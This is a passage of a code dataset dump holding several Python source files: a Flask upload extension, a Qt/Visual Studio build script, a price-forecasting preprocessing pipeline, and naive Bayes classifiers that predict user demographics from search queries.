None:\n if app_default_dest:\n destination = os.path.join(app_default_dest, uset.name)\n using_defaults = True\n\n if destination is None:\n raise RuntimeError(\"\"\"\n no destination for set designated '{}' as {}\\n\n no application config var for '{}'\\n\n \"\"\".format(uset.name,\n '{}{}'.format(prefix, 'DEST'),\n 'UPLOADS_DEFAULT_DEST')\n )\n\n if base_url is None and using_defaults and app_default_url:\n base_url = addslash(app_default_url) + uset.name + '/'\n\n return UploadConfiguration(destination, base_url,\n allow_extns,\n deny_extns)\n\n @property\n def _blueprint(self):\n uploads_blueprint = Blueprint('_uploads',\n __name__,\n url_prefix='/_uploads')\n\n def uploaded_file(setname, filename):\n config = _flup.upload_sets_config.get(setname, None)\n if config is None:\n abort(404)\n return send_from_directory(config.destination, filename)\n\n uploads_blueprint.add_url_rule('/<setname>/<path:filename>',\n view_func=uploaded_file)\n\n return uploads_blueprint\n", "sub_path": "flask_flup/flup.py", "file_name": "flup.py", "file_ext": "py", "file_size_in_byte": 8689, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "werkzeug.LocalProxy", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.current_app.extensions", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 14, "usage_type": "name"}, {"api_name": "itertools.chain", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 109, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 112, "usage_type": "name"}, {"api_name": "werkzeug.FileStorage", "line_number": 122, "usage_type": "argument"}, {"api_name": "werkzeug.secure_filename", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 140, "usage_type": "name"}, {"api_name": "os.path.path.exists", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 143, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 143, "usage_type": "name"}, {"api_name": "os.path.makedirs", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "name"}, {"api_name": "os.path.path.exists", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 145, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 145, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 148, "usage_type": "name"}, {"api_name": "posixpath.join", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path.path.exists", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 161, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 161, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 161, "usage_type": "call"}, {"api_name": "werkzeug.FileStorage", "line_number": 165, "usage_type": "name"}, {"api_name": "werkzeug.FileStorage.__init__", "line_number": 169, "usage_type": "call"}, {"api_name": "werkzeug.FileStorage", "line_number": 169, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 234, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 234, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 234, "usage_type": "name"}, {"api_name": "flask.Blueprint", "line_number": 255, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 262, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 263, "usage_type": "call"}]} {"seq_id": "552269891", "text": "# -*- coding: utf-8 -*-\n\nu\"\"\"编译阶段\"\"\"\n\nimport subprocess\nimport logging\nimport glob\nimport os\nimport sys\nimport string\nimport codecs\n\nfrom buildexp import BuildException\nimport butil\n\nclass CompilePhase(object):\n\n def __init__(self, build_prop):\n self._logger = logging.getLogger(__name__)\n self._build_prop = build_prop\n self._back_dir = os.path.join(self._build_prop.path.dist_dir, \"bak\")\n\n self._tasks = []\n self._determine_task()\n\n def _determine_task(self):\n build_type = self._build_prop.share.build_type\n\n if \"debug\" in build_type:\n self._tasks.append(DebugCompileTask(self._build_prop))\n\n if \"release\" in build_type:\n self._tasks.append(ReleaseCompileTask(self._build_prop))\n\n def compile_(self):\n u\"\"\"编译阶段\"\"\"\n self._init_dist_dir()\n self._init_backup_dir()\n self._generate_string_translator()\n self._generate_qm()\n\n if self._build_prop.package.inject_version:\n self._backup_version_relative_files()\n try:\n self._generate_version_relative_files()\n self._execute_all_task()\n except:\n raise\n finally:\n self._restore_version_relative_files()\n else:\n self._execute_all_task()\n\n def _init_dist_dir(self):\n u\"\"\"初始化dist目录。这个目录用于存放构建中生成中间文件（除了编译所生成的）\n 这个目录需要在编译开始前创建，不能早也不能晚\n \"\"\"\n butil.mkdir(self._build_prop.path.dist_dir)\n\n def _init_backup_dir(self):\n butil.mkdir(self._back_dir)\n\n def _generate_string_translator(self):\n u\"\"\"生成与国际化相关的代码文件\"\"\"\n returncode = subprocess.call([\"python\",\n \"script/xmlstringtranslator.py\",\n \"bin/release/layout\",\n \"bin/release/addons/addonsmanager/resource\",\n \"src/yyapp/xml_string_translator.h\",\n \"src/yyapp/yyapp.pro\",\n \"HEADERS += xml_string_translator.h\"],\n cwd=self._build_prop.path.app_dir)\n if returncode != 0:\n raise BuildException(\"String translatation failed\")\n\n def _generate_qm(self):\n process = subprocess.Popen([\n \"lrelease\",\n \"-compress\",\n \"../framework/src/duifw/duifw_zh.ts\",\n \"src/yycommon/yycommon_zh.ts\",\n \"src/yyapp/yyapp_zh.ts\",\n \"src/yymainframe/yymainframe_zh.ts\",\n \"src/yychannel/yychannel_zh.ts\",\n \"src/yyim/yyim_zh.ts\",\n \"src/yyhistroymsg/yymsg_zh.ts\",\n \"src/yygroup/yygroup_zh.ts\",\n \"src/yggroup/yggroup_zh.ts\",\n \"src/yyplugin/yyplugin_zh.ts\",\n \"src/addonfw/addonfw_zh.ts\",\n \"-qm\",\n \"src/yyapp/yyapp_zh.qm\",\n ],\n cwd=self._build_prop.path.app_dir,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n process.wait()\n\n if process.returncode != 0:\n output_normalize = process.communicate()[1].replace(\"\\r\\n\", \"\\n\")\n self._logger.debug(\"\\n%s\" % output_normalize)\n sys.stderr.write(output_normalize)\n raise BuildException(\"Generate .qm file failed\")\n\n butil.copy_file_to_dir(\"app/bin/release/lang\", \"app/src/yyapp\",\n [\"yyapp_zh.qm\"])\n\n def _backup_version_relative_files(self):\n self._backup_productinfo()\n self._backup_protocol_module_version()\n\n def _backup_productinfo(self):\n butil.copy_file_to_dir(self._back_dir,\n \"version\",\n [\"productinfo.cpp\"])\n\n def _backup_protocol_module_version(self):\n butil.copy_file_to_dir(self._back_dir,\n \"mw/protocol4/protocol\",\n [\"ProtocolModuleVersion.h\"])\n\n def _generate_version_relative_files(self):\n self._generate_productinfo()\n self._generate_protocol_module_version()\n\n def _generate_productinfo(self):\n file_path = \"version/productinfo.cpp\"\n file_ = codecs.open(file_path, mode=\"r\", encoding=\"GBK\")\n\n template = string.Template(file_.read())\n result = template.substitute(self._build_prop.version.about.__dict__)\n file_.close()\n\n file_ = codecs.open(file_path, mode=\"w\", encoding=\"GBK\")\n file_.write(result)\n file_.close()\n\n butil.copy_file(file_path,\n os.path.join(self._back_dir, \"%s.modify\" % os.path.basename(file_path)))\n\n def _generate_protocol_module_version(self):\n file_path = \"mw/protocol4/protocol/ProtocolModuleVersion.h\"\n\n rev_string = self._build_prop.version.about.last_commit_rev\n if rev_string != '[rev]' and len(rev_string) > 1:\n rev = int(rev_string[1:])\n else:\n rev = 0\n\n if rev != 0:\n lines = []\n with codecs.open(file_path, mode=\"r\", encoding=\"GBK\") as f_read:\n lines = f_read.readlines()\n for index, line in enumerate(lines):\n if line.startswith('#define REVISION_VERSION'):\n lines[index] = '#define REVISION_VERSION %d\\r\\n' % rev\n with codecs.open(file_path, mode=\"w\", encoding=\"GBK\") as f_write:\n f_write.write(''.join(lines))\n\n butil.copy_file(file_path,\n os.path.join(self._back_dir, \"%s.modify\" % os.path.basename(file_path)))\n\n def _execute_all_task(self):\n for task in self._tasks:\n task.execute()\n\n def _restore_version_relative_files(self):\n self._restore_productinfo()\n self._restore_protocol_module_version()\n\n def _restore_productinfo(self):\n butil.copy_file_to_dir(\"version\",\n self._back_dir,\n [\"productinfo.cpp\"])\n\n def _restore_protocol_module_version(self):\n butil.copy_file_to_dir(\"mw/protocol4/protocol\",\n self._back_dir,\n [\"ProtocolModuleVersion.h\"])\n\nclass AbstractCompileTask(object):\n u\"\"\"提供编译任务的模板方法\"\"\"\n\n def __init__(self, build_prop):\n self._logger = logging.getLogger(__name__)\n self._build_prop = build_prop\n self._projects = [\n butil.Project(\"misc\",\n \"yymisc.sln\",\n os.path.join(self._build_prop.path.tools_dir, \"yymisc\"),\n True),\n butil.Project(\"yy\",\n \"yy.sln\",\n \".\",\n True),\n butil.Project(\"crashreport\",\n \"crashreport.sln\",\n self._build_prop.path.crash_report_dir,\n True),\n butil.Project(\"yy_checker\",\n \"yy_checker.sln\",\n os.path.join(self._build_prop.path.tools_dir, \"yy_checker\"),\n True),\n butil.Project(\"duospeak\",\n \"duospeak.sln\",\n os.path.join(self._build_prop.path.tools_dir, \"duospeak\"),\n True),\n butil.Project(\"yylauncher\",\n \"yylauncher.sln\",\n self._build_prop.path.tools_dir,\n True),\n ]\n\n def execute(self):\n self._logger.info(\"execute compile task [%s]\" % self._get_task_name())\n\n self._generate_pro_files()\n\n if self._build_prop.compile.recompile:\n self._clean_by_devenv(self._projects, self._get_vc_config_name())\n\n self._compile_by_devenv(self._projects, self._get_vc_config_name())\n self._unit_test()\n\n def _get_task_name(self):\n u\"\"\"供子类使用，定义用于标识task的名字，如Debug\"\"\"\n raise BuildException(\"_get_task_name must be overrided\")\n\n def _generate_pro_files(self):\n u\"\"\"调用qmake，生成.sln和.vcproj文件\"\"\"\n command_list = [\"qmake\", \"-tp\", \"vc\", \"-r\"]\n\n if self._build_prop.share.official_build:\n command_list.append(\"DEFINES+=OFFICIAL_BUILD\")\n\n if self._build_prop.share.coverage:\n command_list.append(\"DEFINES+=CODE_COVERAGE\")\n command_list.append(\"QMAKE_LFLAGS_RELEASE+=/debugtype:cv,fixup\")\n\n self._get_addtional_qmake_arguments(command_list)\n\n returncode = subprocess.call(command_list)\n\n if returncode != 0:\n raise BuildException(\"Invoke qmake failed\")\n\n def _get_addtional_qmake_arguments(self, qmake_command_list):\n u\"\"\"供子类使用，添加附加的qmake参数\"\"\"\n pass\n\n def _get_vc_config_name(self):\n u\"\"\"供子类使用，定义vc的config名，用于调用devenv时使用\"\"\"\n raise BuildException(\"_get_vc_config_name must be overrided\")\n\n def _clean_by_devenv(self, project_list, config):\n for project in project_list:\n devenv = butil.Devenv(self._build_prop)\n devenv(project,\n \"clean\",\n config)\n\n def _compile_by_devenv(self, project_list, config):\n for project in project_list:\n devenv = butil.Devenv(self._build_prop)\n devenv(project,\n \"build\",\n config)\n\n def _unit_test(self):\n u\"\"\"供子类使用，单元测试\"\"\"\n raise BuildException(\"_unit_test must be overrided\")\n\nclass DebugCompileTask(AbstractCompileTask):\n u\"\"\"编译Debug版\"\"\"\n def _get_task_name(self):\n return \"Debug\"\n\n def _get_vc_config_name(self):\n return \"Debug|Win32\"\n\n def _unit_test(self):\n unittest_dir = \"/app/bin/debug\"\n returncode = subprocess.call([\n \"app/bin/debug/dwutest.exe\",\n unittest_dir,\n \"--gtest_output=xml:log/unittest/dwutestd.xml\",\n ])\n\n if returncode == 0:\n self._logger.info(\"%s: unittest success\" % unittest_dir)\n else:\n raise BuildException(\"%s: unittest failed, returncode: %d\"\n % (unittest_dir, returncode))\n\nclass ReleaseCompileTask(AbstractCompileTask):\n u\"\"\"编译Release版\"\"\"\n def _get_task_name(self):\n return \"Release\"\n\n def _get_vc_config_name(self):\n return \"Release|Win32\"\n\n def _unit_test(self):\n unittest_dir = \"/app/bin/release\"\n returncode = subprocess.call([\n \"app/bin/release/dwutest.exe\",\n unittest_dir,\n \"--gtest_output=xml:log/unittest/dwutest.xml\",\n ])\n\n if returncode == 0:\n self._logger.info(\"%s: unittest success\" % unittest_dir)\n else:\n raise BuildException(\"%s: unittest failed, returncode: %d\"\n % (unittest_dir, returncode))\n\n", "sub_path": "build/buildtool/compile_phase.py", "file_name": "compile_phase.py", "file_ext": "py", "file_size_in_byte": 10582, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "butil.mkdir", "line_number": 58, "usage_type": "call"}, {"api_name": "butil.mkdir", "line_number": 61, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 65, "usage_type": "call"}, {"api_name": "buildexp.BuildException", "line_number": 74, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 77, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 95, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 96, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 102, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 102, "usage_type": "attribute"}, {"api_name": "buildexp.BuildException", "line_number": 103, "usage_type": "call"}, {"api_name": "butil.copy_file_to_dir", "line_number": 105, "usage_type": "call"}, {"api_name": "butil.copy_file_to_dir", "line_number": 113, "usage_type": "call"}, {"api_name": "butil.copy_file_to_dir", "line_number": 118, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 128, "usage_type": "call"}, {"api_name": "string.Template", "line_number": 130, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 134, "usage_type": "call"}, {"api_name": "butil.copy_file", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 139, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 152, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 157, "usage_type": "call"}, {"api_name": "butil.copy_file", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path", "line_number": 161, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 161, "usage_type": "call"}, {"api_name": "butil.copy_file_to_dir", "line_number": 172, "usage_type": "call"}, {"api_name": "butil.copy_file_to_dir", "line_number": 177, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 185, "usage_type": "call"}, {"api_name": "butil.Project", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "butil.Project", "line_number": 192, "usage_type": "call"}, {"api_name": "butil.Project", "line_number": 196, "usage_type": "call"}, {"api_name": "butil.Project", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path", "line_number": 202, "usage_type": "attribute"}, {"api_name": "butil.Project", "line_number": 204, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path", "line_number": 206, "usage_type": "attribute"}, {"api_name": "butil.Project", "line_number": 208, "usage_type": "call"}, {"api_name": "buildexp.BuildException", "line_number": 227, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 242, "usage_type": "call"}, {"api_name": "buildexp.BuildException", "line_number": 245, "usage_type": "call"}, {"api_name": "buildexp.BuildException", "line_number": 253, "usage_type": "call"}, {"api_name": "butil.Devenv", "line_number": 257, "usage_type": "call"}, {"api_name": "butil.Devenv", "line_number": 264, "usage_type": "call"}, {"api_name": "buildexp.BuildException", "line_number": 271, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 283, "usage_type": "call"}, {"api_name": "buildexp.BuildException", "line_number": 292, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 305, "usage_type": "call"}, {"api_name": "buildexp.BuildException", "line_number": 314, "usage_type": "call"}]} {"seq_id": "596874735", "text": "import json\nimport pandas\nimport numpy\nimport os\nfrom itertools import chain\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\n\nclass ForecastTransformer(BaseEstimator, TransformerMixin):\n\n def __init__(self, n_time_steps=8, prediction_steps=1):\n self.n = n_time_steps\n self.pred_steps = prediction_steps\n self.tuple_index = None\n\n def fit(self, X, y=None):\n \"\"\"\n\n Args:\n X (pandas.DataFrame):\n y (pandas.Series, numpy.array):\n\n Returns:\n\n \"\"\"\n top_columns = [['t_' + str(self.n - y) for x in range(self.n) for y in [x]*len(X.columns)] + ['t_0'],\n list(X.columns)*self.n + ['target']]\n self.tuple_index = list(zip(*top_columns))\n return self\n\n def transform(self, X, y=None, live=False):\n data = []\n index = []\n for i, sub_df in X.groupby(numpy.arange(len(X))//self.n):\n\n target = sub_df['price'].values[-1]\n index.append(sub_df.index[-1])\n new_row = list(chain.from_iterable(sub_df.values.tolist())) + [target]\n data.append(new_row)\n\n if len(new_row) != len(self.tuple_index):\n continue\n\n forecasting = pandas.DataFrame(data, columns=pandas.MultiIndex.from_tuples(self.tuple_index), index=index)\n forecasting[('t_0', 'target')] = forecasting[('t_0', 'target')].shift(-self.pred_steps)\n if len(forecasting) > 1:\n forecasting = forecasting.dropna()\n return forecasting[:-self.pred_steps].values\n else:\n forecasting = forecasting.fillna(1)\n return forecasting.values\n\n\nclass TimeEmbedder(BaseEstimator, TransformerMixin):\n\n def __init__(self, inital_dims):\n \"\"\"\n Transform to a time-embedded array from a single long array. I.e., group features into their\n buckets so that they actually represent data from related timestamps\n\n Args:\n inital_dims (int): initial dimensions of array\n \"\"\"\n self.initial_dims = inital_dims\n self.middle_shape = None\n\n def fit(self, X, y=None):\n self.middle_shape = (X.shape[1]-1)//self.initial_dims\n return self\n\n def transform(self, X):\n y = X[:, -1]\n X = X[:, :-1]\n return numpy.reshape(X, (X.shape[0], self.middle_shape, self.initial_dims)), y\n\n\ndef get_data(source, remote=False, keep_keys=list(['ts']),\n categorical=list(['side'])):\n file_path = '/media/carlo/HDD/kafka_local/'\n file_path = os.path.join(file_path, source + '.txt')\n rows = []\n with open(file_path) as inf:\n for i, row in enumerate(inf):\n if remote:\n if i >= 8:\n break\n row_dict = json.loads(row)\n rows.append({k: v for k, v in row_dict.items() if k in keep_keys})\n\n df = pandas.DataFrame(rows)\n df.index = pandas.to_datetime(df['ts'])\n df['ts'] = pandas.to_datetime(df['ts'])\n df['time_diff'] = df['ts'].diff().dt.seconds.div(1, fill_value=0)\n if categorical:\n df = one_hot_encode(df, categorical)\n df = df.drop('ts', 1)\n return df\n\n\ndef one_hot_encode(df, categ_vars):\n ohe = []\n for categ in categ_vars:\n ohe.append(pandas.get_dummies(df[categ]))\n df = df.drop(categ, 1)\n return pandas.concat([df] + ohe, 1)\n\n\nif __name__ == '__main__':\n\n local_df = get_data('gdax', remote=False, keep_keys=['ts', 'price', 'volume_24h',\n 'spread', 'side']) # type: pandas.DataFrame\n\n remote_df = get_data('gdax', remote=True, keep_keys=['ts', 'price', 'volume_24h',\n 'spread', 'side']) # type: pandas.DataFrame\n\n pipe = Pipeline([\n ('tr', ForecastTransformer()),\n ('scaler', MinMaxScaler()),\n ('time', TimeEmbedder(inital_dims=len(local_df.columns)))\n ])\n\n x, y = pipe.fit_transform(local_df)\n\n", "sub_path": "kryptoflow/analysis/dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 4115, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.base.BaseEstimator", "line_number": 12, "usage_type": "name"}, {"api_name": "sklearn.base.TransformerMixin", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 37, "usage_type": "call"}, {"api_name": "itertools.chain.from_iterable", "line_number": 41, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 41, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.MultiIndex.from_tuples", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sklearn.base.BaseEstimator", "line_number": 57, "usage_type": "name"}, {"api_name": "sklearn.base.TransformerMixin", "line_number": 57, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 90, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 93, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 106, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 119, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 121, "usage_type": "call"}]} {"seq_id": "625288863", "text": "\n#coding:utf-8\nfrom numpy import *\nimport pandas as pd\n\ndef cutsearch(str):\n import jieba\n seg_list=jieba.cut(str)\n return seg_list\n\ndef loaduselesswords(): #把停用词读取到字典里，一是因为字典查找效率高，而是因为字典不会（破坏原来的中文字符串）\n useless={}\n f = open('useless.txt', 'r')\n # f = codecs.open('test.txt', encoding='UTF-8')\n for word in f.readlines():\n word.decode(encoding='utf-8').encode(encoding='utf-8')\n word = word.strip()\n useless[word]=1\n # print word\n # print repr(word)\n f.close()\n return useless\n\ndef loadTrainData(train_sum,test_sum):#train_sum为训练集的大小,test_sum是测试集的大小，两个集是从2W中连续取的\n j=0\n f=open('user_tag_query.2W.TRAIN')#there is 20000 records\n train_fullwords=[]\n train_searchList=[] #存储训练集里所有出现的词，每个用户为一行\n train_ageList=[] #得到的标签，每个元素是整型元素，而不是字符串\n train_GenderList=[]#记录性别标签\n train_EducationList=[]#记录学历标签\n\n test_searchList=[]\n test_ageList=[]\n test_GenderList=[]\n test_EducationList=[]\n for user in f.readlines():\n if j<train_sum:\n userdata=user.decode(encoding='gb18030').encode(encoding='utf-8')\n # userdata=userdata.encode(encoding='utf-8')\n data=userdata.strip().split('\\t')\n train_ageList.append(data[1])\n train_GenderList.append(data[2])\n train_EducationList.append(data[3])\n singlesearch = []\n for i in range(4,len(data)):\n singlesearch.extend(cutsearch(data[i]))\n train_searchList.append(singlesearch)\n train_fullwords.extend(singlesearch)\n\n\n else:\n userdata = user.decode(encoding='gb18030').encode(encoding='utf-8')\n data = userdata.strip().split('\\t')\n test_ageList.append(data[1])\n test_GenderList.append(data[2])\n test_EducationList.append(data[3])\n singlesearch = []\n for i in range(4, len(data)):\n singlesearch.extend(cutsearch(data[i]))\n test_searchList.append(singlesearch)\n\n j += 1 # 不要忘记自增\n if j == train_sum + test_sum: break\n f.close()\n return train_fullwords,train_searchList,train_ageList,train_GenderList,train_EducationList,\\\n test_searchList,test_ageList,test_GenderList,test_EducationList\n\ndef loadTrainData_(train_sum,test_sum):#train_sum为训练集的大小,test_sum是测试集的大小，两个集是从2W中连续取的\n j=0\n f=open('user_tag_query.2W.TRAIN')#there is 20000 records\n train_fullwords = []\n train_searchList=[] #存储训练集里所有出现的词，每个用户为一行\n train_ageList=[] #得到的标签，每个元素是整型元素，而不是字符串\n train_GenderList=[]#记录性别标签\n train_EducationList=[]#记录学历标签\n\n test_searchList=[]\n test_ageList=[]\n test_GenderList=[]\n test_EducationList=[]\n for user in f.readlines():\n if j<test_sum:\n userdata=user.decode(encoding='gb18030').encode(encoding='utf-8')\n # userdata=userdata.encode(encoding='utf-8')\n data=userdata.strip().split('\\t')\n train_ageList.append(data[1])\n train_GenderList.append(data[2])\n train_EducationList.append(data[3])\n singlesearch = []\n for i in range(4,len(data)):\n singlesearch.extend(cutsearch(data[i]))\n train_searchList.append(singlesearch)\n train_fullwords.extend(singlesearch)\n\n test_ageList.append(data[1])\n test_GenderList.append(data[2])\n test_EducationList.append(data[3])\n singlesearch = []\n for i in range(4, len(data)):\n singlesearch.extend(cutsearch(data[i]))\n test_searchList.append(singlesearch)\n\n else:\n userdata = user.decode(encoding='gb18030').encode(encoding='utf-8')\n data = userdata.strip().split('\\t')\n train_ageList.append(data[1])\n train_GenderList.append(data[2])\n train_EducationList.append(data[3])\n singlesearch = []\n for i in range(4, len(data)):\n singlesearch.extend(cutsearch(data[i]))\n train_searchList.append(singlesearch)\n train_fullwords.extend(singlesearch)\n\n j += 1 # 不要忘记自增\n if j == train_sum: break\n f.close()\n return train_fullwords,train_searchList,train_ageList,train_GenderList,train_EducationList,\\\n test_searchList,test_ageList,test_GenderList,test_EducationList\n\ndef loadTestData():\n f = open('user_tag_query.2W.TEST') # there is 20000 records\n Test_Id=[]\n Test_Search=[]\n # j=0\n for user in f.readlines():\n userdata=user.decode(encoding='gb18030').encode(encoding='utf-8')\n data=userdata.strip().split('\\t')\n Test_Id.append(data[0])\n singlesearch = []\n for i in range(1,len(data)):\n singlesearch.extend(cutsearch(data[i]))\n Test_Search.append(singlesearch)\n # if j==200:break\n # j+=1\n return Test_Id,Test_Search\n\ndef count_IntofList(target,list):#计算标签列表中出现target标签的次数，target是字符形式的\n i=0\n for k in list:\n if k==target:i+=1\n return i\n\ndef trainNB_Gender(trainMatrix,trainCategory):#朴素贝叶斯分类器训练函数\n numTrainSearcher=len(trainMatrix)#一共多少个搜索者\n numWords=len(trainMatrix[0])#一个搜索者所拥有的词向量长度\n p0=count_IntofList('0',trainCategory)/float(numTrainSearcher)#计算标签中各种性别的比例\n p1=count_IntofList('1',trainCategory)/float(numTrainSearcher)\n p2=count_IntofList('2',trainCategory)/float(numTrainSearcher)\n p0Num=ones(numWords);p1Num=ones(numWords);p2Num=ones(numWords) #词计数向量，向量的大小与词集的大小相等\n for i in range(numWords):\n p0Num[i]=0.01\n p1Num[i]=0.01\n p2Num[i]=0.01\n # print 'p0Num',p0Num\n p0Denom=1;p1Denom=1;p2Denom=1 #标签计算变量，记录各种标签的总数目\n for i in range(numTrainSearcher):\n if trainCategory[i]=='0':\n p0Num+=trainMatrix[i]\n p0Denom+=sum(trainMatrix[i])\n elif trainCategory[i]=='1':\n p1Num+=trainMatrix[i]\n p1Denom+=sum(trainMatrix[i])\n else:\n p2Num+=trainMatrix[i]\n p2Denom+=sum(trainMatrix[i])\n p0Vect=log(p0Num/float(p0Denom))\n p1Vect=log(p1Num/float(p1Denom))\n p2Vect=log(p2Num/float(p2Denom))\n return p0Vect,p1Vect,p2Vect,p0,p1,p2\n\ndef trainNB_Age(trainMatrix,trainCategory):\n numTrainSearcher = len(trainMatrix) # 一共多少个搜索者\n numWords = len(trainMatrix[0]) # 一个搜索者所拥有的词向量长度,即词集的大小\n p0 = count_IntofList('0', trainCategory) / float(numTrainSearcher) # 计算标签中各种性别的比例\n p1 = count_IntofList('1', trainCategory) / float(numTrainSearcher)\n p2 = count_IntofList('2', trainCategory) / float(numTrainSearcher)\n p3 = count_IntofList('3', trainCategory) / float(numTrainSearcher)\n p4 = count_IntofList('4', trainCategory) / float(numTrainSearcher)\n p5 = count_IntofList('5', trainCategory) / float(numTrainSearcher)\n p6 = count_IntofList('6', trainCategory) / float(numTrainSearcher)\n p0Num = ones(numWords)\n p1Num = ones(numWords)\n p2Num = ones(numWords) # 词计数向量，向量的大小与词集的大小相等\n p3Num = ones(numWords)\n p4Num = ones(numWords)\n p5Num = ones(numWords)\n p6Num = ones(numWords)\n for i in range(numWords):\n p0Num[i] = 0.01\n p1Num[i] = 0.01\n p2Num[i] = 0.01\n p3Num[i] = 0.01\n p4Num[i] = 0.01\n p5Num[i] = 0.01\n p6Num[i] = 0.01\n # print 'p0Num',p0Num\n p0Denom = 1\n p1Denom = 1\n p2Denom = 1 # 标签计算变量，记录各种标签的总数目\n p3Denom = 1\n p4Denom = 1\n p5Denom = 1\n p6Denom = 1\n for i in range(numTrainSearcher):\n if trainCategory[i] == '0':\n p0Num += trainMatrix[i]\n p0Denom += sum(trainMatrix[i])\n elif trainCategory[i] == '1':\n p1Num += trainMatrix[i]\n p1Denom += sum(trainMatrix[i])\n elif trainCategory[i] == '2':\n p2Num += trainMatrix[i]\n p2Denom += sum(trainMatrix[i])\n elif trainCategory[i] == '3':\n p3Num += trainMatrix[i]\n p3Denom += sum(trainMatrix[i])\n elif trainCategory[i] == '4':\n p4Num += trainMatrix[i]\n p4Denom += sum(trainMatrix[i])\n elif trainCategory[i] == '5':\n p5Num += trainMatrix[i]\n p5Denom += sum(trainMatrix[i])\n else:\n p6Num += trainMatrix[i]\n p6Denom += sum(trainMatrix[i])\n p0Vect = log(p0Num / float(p0Denom))\n p1Vect = log(p1Num / float(p1Denom))\n p2Vect = log(p2Num / float(p2Denom))\n p3Vect = log(p3Num / float(p3Denom))\n 